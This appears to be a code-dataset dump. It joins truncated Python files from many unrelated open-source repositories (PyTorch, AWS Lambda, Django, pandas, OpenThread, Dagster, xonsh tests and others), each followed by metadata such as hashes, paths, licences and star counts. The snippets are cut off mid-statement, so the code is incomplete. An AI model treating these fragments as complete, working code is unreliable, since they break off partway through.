import torch.nn as nn import torch.nn.functional as F from neurolab import params as P from neurolab import utils from neurolab.model import Model class Net(Model): # Layer names CONV4 = 'conv4' RELU4 = 'relu4' BN4 = 'bn4' CONV5 = 'conv5' RELU5 = 'relu5' POOL5 = 'pool5' BN5 = 'bn5' CONV6 = 'conv6' RELU6 = ...
33.071429
120
0.717711
7cacba5d71a49e70e5768ed7c59d1ee1582a7342
1,471
py
Python
Lab 1 - Lambda and SciKit Learn Inference/lambda_function.py
aws-samples/serverless-ai-workshop
4d631d398262046d9b584d4c608dee3588d6496a
[ "MIT-0" ]
51
2018-11-28T18:44:59.000Z
2021-09-18T04:04:36.000Z
Lab 1 - Lambda and SciKit Learn Inference/lambda_function.py
nikkkkhil/serverless_ml_with_AWSLambda_AmazonSageMaker
e0d1219a04e02c17800889e0ade93239666dc889
[ "MIT-0" ]
4
2018-11-09T21:07:26.000Z
2021-01-11T15:32:12.000Z
Lab 1 - Lambda and SciKit Learn Inference/lambda_function.py
nikkkkhil/serverless_ml_with_AWSLambda_AmazonSageMaker
e0d1219a04e02c17800889e0ade93239666dc889
[ "MIT-0" ]
19
2018-11-28T19:15:09.000Z
2021-09-18T04:04:37.000Z
import json import boto3 import warnings from sklearn.feature_extraction.text import CountVectorizer from sklearn.externals import joblib warnings.filterwarnings(action='ignore', category=Warning) s3 = boto3.resource('s3') # make Prediction on the trained model def lambda_handler (event, context): # Bucket_name is...
31.978261
71
0.772944
557df3ef2f4c1ab28f831ce0fe4d12011c092402
343
py
Python
backend/users/urls.py
gorkemarslan/Blog-Django-React
774ca6e140f3b1b26c9338a5641328edda8ac911
[ "MIT" ]
null
null
null
backend/users/urls.py
gorkemarslan/Blog-Django-React
774ca6e140f3b1b26c9338a5641328edda8ac911
[ "MIT" ]
null
null
null
backend/users/urls.py
gorkemarslan/Blog-Django-React
774ca6e140f3b1b26c9338a5641328edda8ac911
[ "MIT" ]
null
null
null
from django.urls import path from .views import CustomUserCreate, BlacklistTokenUpdateView, HelloWorldView urlpatterns = [ path('register/', CustomUserCreate.as_view(), name="register"), path('logout/blacklist/', BlacklistTokenUpdateView.as_view(), name='blacklist'), path('hello/', HelloWorldView.as_view()...
42.875
84
0.755102
b264f84437031813270e814ac3c83e231f5b8ce5
3,305
py
Python
src/iOS/toga_iOS/app.py
Donyme/toga
2647c7dc5db248025847e3a60b115ff51d4a0d4a
[ "BSD-3-Clause" ]
null
null
null
src/iOS/toga_iOS/app.py
Donyme/toga
2647c7dc5db248025847e3a60b115ff51d4a0d4a
[ "BSD-3-Clause" ]
null
null
null
src/iOS/toga_iOS/app.py
Donyme/toga
2647c7dc5db248025847e3a60b115ff51d4a0d4a
[ "BSD-3-Clause" ]
null
null
null
import asyncio from rubicon.objc import objc_method from rubicon.objc.eventloop import EventLoopPolicy, iOSLifecycle from .libs import (NSNotificationCenter, SEL, UIKeyboardFrameEndUserInfoKey, UIKeyboardWillHideNotification, UIKeyboardWillShowNotification, UIResponder ) from .window import W...
33.05
108
0.678971
5eff1fe84839aa7b2b8a10767a171d0b43c3344f
7,816
py
Python
python_modules/libraries/dagster-azure/dagster_azure/blob/compute_log_manager.py
JPeer264/dagster-fork
32cc87a36134be7c442fa85d6867eb1d3301aea0
[ "Apache-2.0" ]
1
2020-08-10T23:03:37.000Z
2020-08-10T23:03:37.000Z
python_modules/libraries/dagster-azure/dagster_azure/blob/compute_log_manager.py
JPeer264/dagster-fork
32cc87a36134be7c442fa85d6867eb1d3301aea0
[ "Apache-2.0" ]
null
null
null
python_modules/libraries/dagster-azure/dagster_azure/blob/compute_log_manager.py
JPeer264/dagster-fork
32cc87a36134be7c442fa85d6867eb1d3301aea0
[ "Apache-2.0" ]
1
2020-08-20T14:20:31.000Z
2020-08-20T14:20:31.000Z
import itertools import os from contextlib import contextmanager from dagster import Field, check, seven from dagster.core.storage.compute_log_manager import ( MAX_BYTES_FILE_READ, ComputeIOType, ComputeLogFileData, ComputeLogManager, ) from dagster.core.storage.local_compute_log_manager import IO_TYPE...
39.08
100
0.668245
6344e0ba3d5b9a1550048463eefc8d8ef8cd4985
14,158
py
Python
mypython/Lib/site-packages/pandas/core/arraylike.py
lilianatang/data-modelling-with-postgresql
4b5d057d23c346cc36695dc0548f11908aeb5431
[ "Apache-2.0" ]
null
null
null
mypython/Lib/site-packages/pandas/core/arraylike.py
lilianatang/data-modelling-with-postgresql
4b5d057d23c346cc36695dc0548f11908aeb5431
[ "Apache-2.0" ]
null
null
null
mypython/Lib/site-packages/pandas/core/arraylike.py
lilianatang/data-modelling-with-postgresql
4b5d057d23c346cc36695dc0548f11908aeb5431
[ "Apache-2.0" ]
null
null
null
""" Methods that can be shared by many array-like classes or subclasses: Series Index ExtensionArray """ import operator from typing import Any, Callable import warnings import numpy as np from pandas._libs import lib from pandas.core.construction import extract_array from pandas.core.ops ...
37.554377
88
0.609408
d34594b4f048e433f8c0f3f7b97bcc07ea37f92f
26,059
py
Python
tests/scripts/thread-cert/node_api.py
ddreyer/openthread
23f465c681babb64ad813fe27d44ed5e958f878d
[ "BSD-3-Clause" ]
1
2018-12-31T08:12:49.000Z
2018-12-31T08:12:49.000Z
tests/scripts/thread-cert/node_api.py
ddreyer/openthread
23f465c681babb64ad813fe27d44ed5e958f878d
[ "BSD-3-Clause" ]
null
null
null
tests/scripts/thread-cert/node_api.py
ddreyer/openthread
23f465c681babb64ad813fe27d44ed5e958f878d
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python # # Copyright (c) 2016, The OpenThread Authors. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # 1. Redistributions of source code must retain the above copyright # ...
44.093063
180
0.574542
f0db85b1b0c0b515543805b353756bd884e76bc5
14,976
py
Python
iocage_lib/ioc_list.py
jamesog/iocage
a22bb44ace4e5a00feae8609cb8462682a3ff4ee
[ "BSD-2-Clause" ]
null
null
null
iocage_lib/ioc_list.py
jamesog/iocage
a22bb44ace4e5a00feae8609cb8462682a3ff4ee
[ "BSD-2-Clause" ]
null
null
null
iocage_lib/ioc_list.py
jamesog/iocage
a22bb44ace4e5a00feae8609cb8462682a3ff4ee
[ "BSD-2-Clause" ]
null
null
null
# Copyright (c) 2014-2018, iocage # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted providing that the following conditions # are met: # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and th...
37.533835
79
0.49399
3e5f5813b1f333ab39d9d2f9d6b34adc08fe7793
1,829
py
Python
extutils/gidentity/gidentity.py
RaenonX/Jelly-Bot-API
c7da1e91783dce3a2b71b955b3a22b68db9056cf
[ "MIT" ]
5
2020-08-26T20:12:00.000Z
2020-12-11T16:39:22.000Z
extutils/gidentity/gidentity.py
RaenonX/Jelly-Bot
c7da1e91783dce3a2b71b955b3a22b68db9056cf
[ "MIT" ]
234
2019-12-14T03:45:19.000Z
2020-08-26T18:55:19.000Z
extutils/gidentity/gidentity.py
RaenonX/Jelly-Bot-API
c7da1e91783dce3a2b71b955b3a22b68db9056cf
[ "MIT" ]
2
2019-10-23T15:21:15.000Z
2020-05-22T09:35:55.000Z
"""Module containing various operations related to Google Identity.""" import os import sys # noinspection PyPackageRequirements from dataclasses import dataclass # noinspection PyPackageRequirements from google.oauth2 import id_token # noinspection PyPackageRequirements from google.auth.transport import requests fro...
31
118
0.735921
9ea2df00b303f916600ab94dd72f9b63a83e7921
6,670
py
Python
blasteroids/server/config.py
smallarmyofnerds/blasteroids
082bc010ed6d2ec6098a8848edcbee433a5b6961
[ "MIT" ]
null
null
null
blasteroids/server/config.py
smallarmyofnerds/blasteroids
082bc010ed6d2ec6098a8848edcbee433a5b6961
[ "MIT" ]
7
2021-09-04T18:49:13.000Z
2021-09-05T19:37:39.000Z
blasteroids/server/config.py
smallarmyofnerds/blasteroids
082bc010ed6d2ec6098a8848edcbee433a5b6961
[ "MIT" ]
null
null
null
import configparser class ServerConfig: def __init__(self, config): self.address = config['Address'] self.port = int(config['Port']) class MiscConfig: def __init__(self, config): self.logging_level = config['LoggingLevel'] class WorldConfig: def __init__(self, config): ...
38.333333
97
0.68021
3b81aa5db9b802388dd4ad232b70bb9db781421a
1,149
py
Python
resources/register.py
Truta446/flask-api-hotel
1b2fa6eec079495450b8d7957b5afecbb58e9df8
[ "MIT" ]
null
null
null
resources/register.py
Truta446/flask-api-hotel
1b2fa6eec079495450b8d7957b5afecbb58e9df8
[ "MIT" ]
null
null
null
resources/register.py
Truta446/flask-api-hotel
1b2fa6eec079495450b8d7957b5afecbb58e9df8
[ "MIT" ]
null
null
null
from flask_restful import Resource, reqparse from models.user import UserModel import traceback class UserRegister(Resource): def post(self): attributes = reqparse.RequestParser() attributes.add_argument('email', type=str, required=True, help="The field 'email' cann...
37.064516
83
0.604874
e99bb22b82728ba35db7c0136ef2a196441ae488
1,736
py
Python
DDQN/deep_q_network.py
Srikanth-Kb/Deep-Q-Learning-Paper-To-Code
0351272399847e23aa1509c04781507e5a34d3dd
[ "MIT" ]
240
2019-11-20T23:53:04.000Z
2022-03-22T15:13:12.000Z
DDQN/deep_q_network.py
Srikanth-Kb/Deep-Q-Learning-Paper-To-Code
0351272399847e23aa1509c04781507e5a34d3dd
[ "MIT" ]
12
2019-12-01T01:00:20.000Z
2022-02-12T18:23:34.000Z
DDQN/deep_q_network.py
Srikanth-Kb/Deep-Q-Learning-Paper-To-Code
0351272399847e23aa1509c04781507e5a34d3dd
[ "MIT" ]
112
2019-11-25T02:43:51.000Z
2022-03-25T10:29:01.000Z
import os import torch as T import torch.nn as nn import torch.nn.functional as F import torch.optim as optim import numpy as np class DeepQNetwork(nn.Module): def __init__(self, lr, n_actions, name, input_dims, chkpt_dir): super(DeepQNetwork, self).__init__() self.checkpoint_dir = chkpt_dir ...
32.148148
76
0.635369
8d83edb17be07c89f8b6f9191384d4a814c07268
5,916
py
Python
apps/sqoop/src/sqoop/test_base.py
lumanjiao/XLS_BigData
2c4c37872b8636df1c8b0e005bc12a635a753c7a
[ "Apache-2.0" ]
11
2019-03-20T07:38:35.000Z
2021-06-18T09:42:46.000Z
apps/sqoop/src/sqoop/test_base.py
lumanjiao/XLS_BigData
2c4c37872b8636df1c8b0e005bc12a635a753c7a
[ "Apache-2.0" ]
null
null
null
apps/sqoop/src/sqoop/test_base.py
lumanjiao/XLS_BigData
2c4c37872b8636df1c8b0e005bc12a635a753c7a
[ "Apache-2.0" ]
5
2019-06-29T03:13:02.000Z
2020-04-23T04:47:11.000Z
#!/usr/bin/env python # Licensed to Cloudera, Inc. under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. Cloudera, Inc. licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you ma...
31.468085
111
0.661934
9aaeb8bc4c7ddb121a7f1f4085ce19c22027e971
597
py
Python
google/cloud/bigquery/version.py
macbre/python-bigquery
61b438523d305ce66a68fde7cb49e9abbf0a8d1d
[ "Apache-2.0" ]
null
null
null
google/cloud/bigquery/version.py
macbre/python-bigquery
61b438523d305ce66a68fde7cb49e9abbf0a8d1d
[ "Apache-2.0" ]
null
null
null
google/cloud/bigquery/version.py
macbre/python-bigquery
61b438523d305ce66a68fde7cb49e9abbf0a8d1d
[ "Apache-2.0" ]
null
null
null
# Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, s...
37.3125
74
0.757119
c93494c0916ac0d76b4ff9e5294085d632a0c9e0
16,247
py
Python
unittest_image_scraper.py
baparham/py-anki-card-creator
de12788cd7697cc940b60eac0e178a20449a090e
[ "MIT" ]
null
null
null
unittest_image_scraper.py
baparham/py-anki-card-creator
de12788cd7697cc940b60eac0e178a20449a090e
[ "MIT" ]
null
null
null
unittest_image_scraper.py
baparham/py-anki-card-creator
de12788cd7697cc940b60eac0e178a20449a090e
[ "MIT" ]
null
null
null
#!/bin/env python3 """Tests for Python Language Learner ImageScraper class""" import unittest import image_scraper class ImageScraperTests(unittest.TestCase): def test_get_opening_root_tag(self): """This tests getting the opening root tag of a string of html""" test_string = """<div id="ires"><tab...
77
662
0.705853
8c6a57464f52abc8ef0fbf7b90e64d76d55bf7aa
42,539
py
Python
test/test_YoutubeDL.py
devenu85/nextdl
0b458f556e2e0be80cb94bd9a9b1405ad2e9182d
[ "MIT" ]
1
2021-12-19T13:55:20.000Z
2021-12-19T13:55:20.000Z
test/test_YoutubeDL.py
devenu85/nextdl
0b458f556e2e0be80cb94bd9a9b1405ad2e9182d
[ "MIT" ]
null
null
null
test/test_YoutubeDL.py
devenu85/nextdl
0b458f556e2e0be80cb94bd9a9b1405ad2e9182d
[ "MIT" ]
null
null
null
#!/usr/bin/env python # coding: utf-8 from __future__ import unicode_literals # Allow direct execution import os import sys import unittest sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) import copy from test.helper import Fakendl, assertRegexpMatches from nextdl import nextdl from...
35.867622
91
0.538141
e1d82c027827cb7fab9a66b64374e6014edea39d
1,720
py
Python
archaic/tracing/frida_trace_wrap.py
addam128/themis-trace
90c1613fa257503d4778f50a51ae45076a34f9ac
[ "MIT" ]
null
null
null
archaic/tracing/frida_trace_wrap.py
addam128/themis-trace
90c1613fa257503d4778f50a51ae45076a34f9ac
[ "MIT" ]
null
null
null
archaic/tracing/frida_trace_wrap.py
addam128/themis-trace
90c1613fa257503d4778f50a51ae45076a34f9ac
[ "MIT" ]
null
null
null
import subprocess import os from time import sleep from common.config import Config class Analyzer: def __init__(self, config) -> None: self.config = config self._exec_path = "{}/{}".format(config.bin_dir, config.executable) self._traced_functions = set() self._load_function_nam...
27.301587
106
0.58314
fa715b1898f79945f1bfb5b10da8db36e8e47b09
1,747
py
Python
release/stubs.min/System/ComponentModel/__init___parts/DefaultBindingPropertyAttribute.py
htlcnn/ironpython-stubs
780d829e2104b2789d5f4d6f32b0ec9f2930ca03
[ "MIT" ]
182
2017-06-27T02:26:15.000Z
2022-03-30T18:53:43.000Z
release/stubs.min/System/ComponentModel/__init___parts/DefaultBindingPropertyAttribute.py
htlcnn/ironpython-stubs
780d829e2104b2789d5f4d6f32b0ec9f2930ca03
[ "MIT" ]
28
2017-06-27T13:38:23.000Z
2022-03-15T11:19:44.000Z
release/stubs.min/System/ComponentModel/__init___parts/DefaultBindingPropertyAttribute.py
htlcnn/ironpython-stubs
780d829e2104b2789d5f4d6f32b0ec9f2930ca03
[ "MIT" ]
67
2017-06-28T09:43:59.000Z
2022-03-20T21:17:10.000Z
class DefaultBindingPropertyAttribute(Attribute,_Attribute): """ Specifies the default binding property for a component. This class cannot be inherited. DefaultBindingPropertyAttribute() DefaultBindingPropertyAttribute(name: str) """ def Equals(self,obj): """ Equals(self: DefaultBindingProper...
23.931507
215
0.70063
5f03a8ea11b233b0eb22ff6cbeee705b59d69c36
731
py
Python
data.py
dscplatform/facesensor
fb13b92ef2335c84d62def3cfbde7f97524afab5
[ "MIT" ]
null
null
null
data.py
dscplatform/facesensor
fb13b92ef2335c84d62def3cfbde7f97524afab5
[ "MIT" ]
null
null
null
data.py
dscplatform/facesensor
fb13b92ef2335c84d62def3cfbde7f97524afab5
[ "MIT" ]
null
null
null
import numpy as np from PIL import Image import keras import matplotlib.pyplot as plt def build_dataset(): subjects = 40 unique = 10 X = np.zeros((400, 1, 112, 92), dtype=np.uint8) y = np.zeros(400, dtype=np.uint8) i = 0 for u in range(1, unique + 1): for s in range(1, subjects + 1): ...
24.366667
55
0.545828
c9c659839b676d03630a8421a3f28862c90ea4c4
3,508
py
Python
apps/courses/models.py
ECNU-Studio/base
0815dfe420680c1c08655fd7a3ebe98836584de4
[ "MIT" ]
null
null
null
apps/courses/models.py
ECNU-Studio/base
0815dfe420680c1c08655fd7a3ebe98836584de4
[ "MIT" ]
null
null
null
apps/courses/models.py
ECNU-Studio/base
0815dfe420680c1c08655fd7a3ebe98836584de4
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from datetime import datetime from django.db import models from organization.models import CourseOrg, Teacher # Create your models here. class Course(models.Model): course_org = models.ForeignKey(CourseOrg, verbose_name='课程机构', null=True, blank=True) name = models.CharField(max_leng...
35.08
114
0.702109
4da04d763c0ea754f046b4c96b4105641f74179c
1,509
py
Python
plugins/markdown/komand_markdown/actions/markdown_to_txt/schema.py
lukaszlaszuk/insightconnect-plugins
8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892
[ "MIT" ]
46
2019-06-05T20:47:58.000Z
2022-03-29T10:18:01.000Z
plugins/markdown/komand_markdown/actions/markdown_to_txt/schema.py
lukaszlaszuk/insightconnect-plugins
8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892
[ "MIT" ]
386
2019-06-07T20:20:39.000Z
2022-03-30T17:35:01.000Z
plugins/markdown/komand_markdown/actions/markdown_to_txt/schema.py
lukaszlaszuk/insightconnect-plugins
8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892
[ "MIT" ]
43
2019-07-09T14:13:58.000Z
2022-03-28T12:04:46.000Z
# GENERATED BY KOMAND SDK - DO NOT EDIT import insightconnect_plugin_runtime import json class Component: DESCRIPTION = "Convert Markdown to TXT" class Input: MARKDOWN = "markdown" MARKDOWN_STRING = "markdown_string" class Output: TXT = "txt" TXT_STRING = "txt_string" class MarkdownT...
20.391892
64
0.579192
cba82399230bb60cf4f911a940bd5d0477262243
2,685
py
Python
data/level/level10007.py
levelupai/match3-level-similarity
cc9b28b8741b41bea1273c8bc9b4d265d79a1dca
[ "Apache-2.0" ]
null
null
null
data/level/level10007.py
levelupai/match3-level-similarity
cc9b28b8741b41bea1273c8bc9b4d265d79a1dca
[ "Apache-2.0" ]
6
2020-07-04T02:53:08.000Z
2022-03-11T23:53:14.000Z
data/level/level10007.py
levelupai/match3-level-similarity
cc9b28b8741b41bea1273c8bc9b4d265d79a1dca
[ "Apache-2.0" ]
3
2019-12-31T11:42:59.000Z
2021-03-28T20:06:13.000Z
data = {'level_index': 10007, 'move_count': '100', 'board_info': {(0, 6): {'base': (4, 1), 'bg_number': 41}, (0, 5): {'base': (5, 1)}, (0, 4): {'base': (5, 1)}, (0, 3): {'base': (1, 1)}, (0, 2): {'base': (4, 1), 'bg_number': 41}, (1, 7): {'base': (1, 1), 'bg_number'...
92.586207
120
0.288641
70690fb2b7abdd6d4412e04733403b74b708bdad
29,974
py
Python
lib/kubernetes/client/models/v1_object_meta.py
splunkenizer/splunk_as_a_service_app
97c4aaf927d2171bf131126cf9b70489ac75bc5a
[ "Apache-2.0" ]
7
2019-12-21T00:14:14.000Z
2021-03-11T14:51:37.000Z
lib/kubernetes/client/models/v1_object_meta.py
splunkenizer/splunk_as_a_service_app
97c4aaf927d2171bf131126cf9b70489ac75bc5a
[ "Apache-2.0" ]
29
2019-10-09T11:16:21.000Z
2020-06-23T09:32:09.000Z
lib/kubernetes/client/models/v1_object_meta.py
splunkenizer/splunk_as_a_service_app
97c4aaf927d2171bf131126cf9b70489ac75bc5a
[ "Apache-2.0" ]
1
2021-05-07T10:13:31.000Z
2021-05-07T10:13:31.000Z
# coding: utf-8 """ Kubernetes No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) OpenAPI spec version: v1.14.4 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from pprint import pformat from six import iteri...
52.128696
1,354
0.683492
eb4561f395253d6e3e38898afd30b28dc2abb2b7
2,901
py
Python
python/tvm/rpc/minrpc.py
XiaoSong9905/tvm
48940f697e15d5b50fa1f032003e6c700ae1e423
[ "Apache-2.0" ]
4,640
2017-08-17T19:22:15.000Z
2019-11-04T15:29:46.000Z
python/tvm/rpc/minrpc.py
XiaoSong9905/tvm
48940f697e15d5b50fa1f032003e6c700ae1e423
[ "Apache-2.0" ]
3,022
2020-11-24T14:02:31.000Z
2022-03-31T23:55:31.000Z
python/tvm/rpc/minrpc.py
XiaoSong9905/tvm
48940f697e15d5b50fa1f032003e6c700ae1e423
[ "Apache-2.0" ]
1,352
2017-08-17T19:30:38.000Z
2019-11-04T16:09:29.000Z
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
34.951807
95
0.684592
8d470fe07ff47ab871e733aa0d442752b3568599
88,751
py
Python
unit_tests/test_zaza_model.py
ajkavanagh/zaza
39ee47cf683eb45b98fbab7d2daa2f03b6d54f5d
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
unit_tests/test_zaza_model.py
ajkavanagh/zaza
39ee47cf683eb45b98fbab7d2daa2f03b6d54f5d
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
unit_tests/test_zaza_model.py
ajkavanagh/zaza
39ee47cf683eb45b98fbab7d2daa2f03b6d54f5d
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
# Copyright 2018 Canonical Ltd. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writin...
40.231641
79
0.610709
97feb694a2e4296b0a13ad182b4b9c6e3497149b
16,015
py
Python
acq4/devices/PatchPipette/patchpipette.py
acq4/acq4
c77636a76d68ffa1bc7dbd41edc522e523b909b8
[ "MIT" ]
47
2015-01-05T16:18:10.000Z
2022-03-16T13:09:30.000Z
acq4/devices/PatchPipette/patchpipette.py
acq4/acq4
c77636a76d68ffa1bc7dbd41edc522e523b909b8
[ "MIT" ]
48
2015-04-19T16:51:41.000Z
2022-03-31T14:48:16.000Z
acq4/devices/PatchPipette/patchpipette.py
acq4/acq4
c77636a76d68ffa1bc7dbd41edc522e523b909b8
[ "MIT" ]
32
2015-01-15T14:11:49.000Z
2021-07-15T13:44:52.000Z
from __future__ import print_function import numpy as np from collections import OrderedDict from ..Camera import Camera from ..Device import Device from acq4.util import Qt from ...Manager import getManager from acq4.util.Mutex import Mutex from pyqtgraph import ptime from .devgui import PatchPipetteDeviceGui from .t...
37.86052
117
0.651951
8686b7ca9c35b4ffbac6baa38fb93b55ceccc14a
2,230
py
Python
python_code/send.py
Bozenton/STM32_Python
3093aebf72a82d9674632be092dca039990672a7
[ "MIT" ]
null
null
null
python_code/send.py
Bozenton/STM32_Python
3093aebf72a82d9674632be092dca039990672a7
[ "MIT" ]
null
null
null
python_code/send.py
Bozenton/STM32_Python
3093aebf72a82d9674632be092dca039990672a7
[ "MIT" ]
null
null
null
from socket import timeout import serial import serial.tools.list_ports import struct import threading import time import numpy as np """ ------------------------------------- 数据包格式 ------------------------------------- 字节数 数据 说明 1 0xFF 包头 1 0x 字节长度(数据部分) 0~254 1 ...
30.547945
97
0.517937
b870c5a65efba97db109b2e45a665d7d7c337745
16,324
py
Python
virtual/Lib/site-packages/astroid/builder.py
JamesKimari/pitch-one
aac9007716bf2e3b6446588a06508fac068f3d20
[ "MIT" ]
23
2015-01-29T21:46:36.000Z
2022-01-28T20:09:58.000Z
virtual/lib/python3.6/site-packages/astroid/builder.py
evantoh/patient-management-system
6637eb1344775633759165260ed99843581c0e72
[ "Unlicense" ]
93
2015-01-02T12:35:32.000Z
2021-12-12T22:42:33.000Z
virtual/lib/python3.6/site-packages/astroid/builder.py
evantoh/patient-management-system
6637eb1344775633759165260ed99843581c0e72
[ "Unlicense" ]
20
2015-08-27T07:37:39.000Z
2021-10-15T02:39:55.000Z
# Copyright (c) 2006-2011, 2013-2014 LOGILAB S.A. (Paris, FRANCE) <contact@logilab.fr> # Copyright (c) 2014-2015 Google, Inc. # Copyright (c) 2014-2016 Claudiu Popa <pcmanticore@gmail.com> # Copyright (c) 2015-2016 Cara Vinson <ceridwenv@gmail.com> # Licensed under the LGPL: https://www.gnu.org/licenses/old-licenses/l...
37.18451
100
0.624602
bd0412760ac508d115e6d2e1d1107490c7df89a4
4,649
py
Python
telegram_bot.py
cccaaannn/telegram_predictor
a939954e386e1218afcd1c6a705cc617898023b5
[ "MIT" ]
null
null
null
telegram_bot.py
cccaaannn/telegram_predictor
a939954e386e1218afcd1c6a705cc617898023b5
[ "MIT" ]
null
null
null
telegram_bot.py
cccaaannn/telegram_predictor
a939954e386e1218afcd1c6a705cc617898023b5
[ "MIT" ]
null
null
null
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters import requests import logging import shutil import uuid import cv2 import os from yolo_predictor import yolo_predictor from yolo_drawer import yolo_drawer class telegram_bot(): def __init__(self, botkey, model_path, ...
40.780702
233
0.653044
304fa6ddbcb7c3e495a322e46b9ea842c58987d9
1,666
gyp
Python
node_modules/iltorb/binding.gyp
Christian-Medrano/Roadtrip
25a30d60df57f2db6daa7c910e240e0123852c94
[ "MIT" ]
1
2017-06-28T14:51:36.000Z
2017-06-28T14:51:36.000Z
node_modules/iltorb/binding.gyp
Christian-Medrano/Roadtrip
25a30d60df57f2db6daa7c910e240e0123852c94
[ "MIT" ]
null
null
null
node_modules/iltorb/binding.gyp
Christian-Medrano/Roadtrip
25a30d60df57f2db6daa7c910e240e0123852c94
[ "MIT" ]
null
null
null
{ "targets": [ { "target_name": "encode", "sources": [ "brotli/common/dictionary.c", "brotli/enc/backward_references.c", "brotli/enc/bit_cost.c", "brotli/enc/block_splitter.c", "brotli/enc/brotli_bit_stream.c", "brotli/enc/cluster.c", "brotli/enc...
27.311475
50
0.521008
7aeb6583bc3ea8ffe436ef9051910c7773e57555
17,569
py
Python
python/examples/depthwise_conv/definitions.py
00mjk/iree-llvm-sandbox
f076d9668d38ff8374c97650992a8027afa3f38e
[ "Apache-2.0" ]
1
2022-03-11T20:12:50.000Z
2022-03-11T20:12:50.000Z
python/examples/depthwise_conv/definitions.py
00mjk/iree-llvm-sandbox
f076d9668d38ff8374c97650992a8027afa3f38e
[ "Apache-2.0" ]
null
null
null
python/examples/depthwise_conv/definitions.py
00mjk/iree-llvm-sandbox
f076d9668d38ff8374c97650992a8027afa3f38e
[ "Apache-2.0" ]
1
2022-03-11T20:12:51.000Z
2022-03-11T20:12:51.000Z
import os, itertools from typing import Any, List, Mapping, Optional, Sequence, Tuple, Union import numpy as np from mlir.ir import * from mlir.dialects import arith, builtin, linalg, scf, func, tensor from ..core.compilation import attach_inplaceable_attributes, attach_passthrough from ..core.problem_definition im...
39.392377
97
0.650179
1364a3304e3e77aa2c71a92916c573b34b34fdc1
8,525
py
Python
tests/test_integrations.py
justcalamari/xonsh
6d3c3ff37fffcade6f12ac8d78257ff30ae8bd88
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
tests/test_integrations.py
justcalamari/xonsh
6d3c3ff37fffcade6f12ac8d78257ff30ae8bd88
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
tests/test_integrations.py
justcalamari/xonsh
6d3c3ff37fffcade6f12ac8d78257ff30ae8bd88
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
import os import sys import shutil import subprocess as sp import pytest import xonsh from xonsh.platform import ON_WINDOWS from tools import (skip_if_on_windows, skip_if_on_darwin, skip_if_on_travis, ON_WINDOWS, ON_DARWIN, ON_TRAVIS) XONSH_PREFIX = xonsh.__file__ if 'site-packages' in XONSH_PREFIX: # must...
24.150142
82
0.620762
45a52f8ca4ebdb83bf226f446197aa17df756073
8,751
py
Python
eventmapping/lambda_function.py
cloudkommand/lambda
6f63ba3a90e2a41bfeda3be2dabc144d91dff57d
[ "MIT" ]
null
null
null
eventmapping/lambda_function.py
cloudkommand/lambda
6f63ba3a90e2a41bfeda3be2dabc144d91dff57d
[ "MIT" ]
null
null
null
eventmapping/lambda_function.py
cloudkommand/lambda
6f63ba3a90e2a41bfeda3be2dabc144d91dff57d
[ "MIT" ]
null
null
null
import boto3 import botocore # import jsonschema import json import traceback from botocore.exceptions import ClientError from extutil import remove_none_attributes, account_context, ExtensionHandler, \ ext, component_safe_name, handle_common_errors # def validate_state(state): # "prev_state": prev_state, # "com...
43.108374
189
0.65124
df99a9b6c35ccf50281825d5d91099e1325e1c36
1,850
py
Python
tests/test_splitting.py
frederico-klein/ros_example_torch_classifier
d691fdd16c6b2f512670c9843b6291636fa862d1
[ "MIT" ]
null
null
null
tests/test_splitting.py
frederico-klein/ros_example_torch_classifier
d691fdd16c6b2f512670c9843b6291636fa862d1
[ "MIT" ]
null
null
null
tests/test_splitting.py
frederico-klein/ros_example_torch_classifier
d691fdd16c6b2f512670c9843b6291636fa862d1
[ "MIT" ]
1
2022-02-16T14:55:26.000Z
2022-02-16T14:55:26.000Z
#!/usr/bin/env python PKG = 'ros_example_torch_classifier' import roslib; roslib.load_manifest(PKG) # This line is not needed with Catkin. import rospy import sys import unittest #import subprocess import numpy as np import pandas as pd from std_srvs.srv import Empty, EmptyResponse from ros_example_torch_classifier.sp...
37.755102
86
0.668649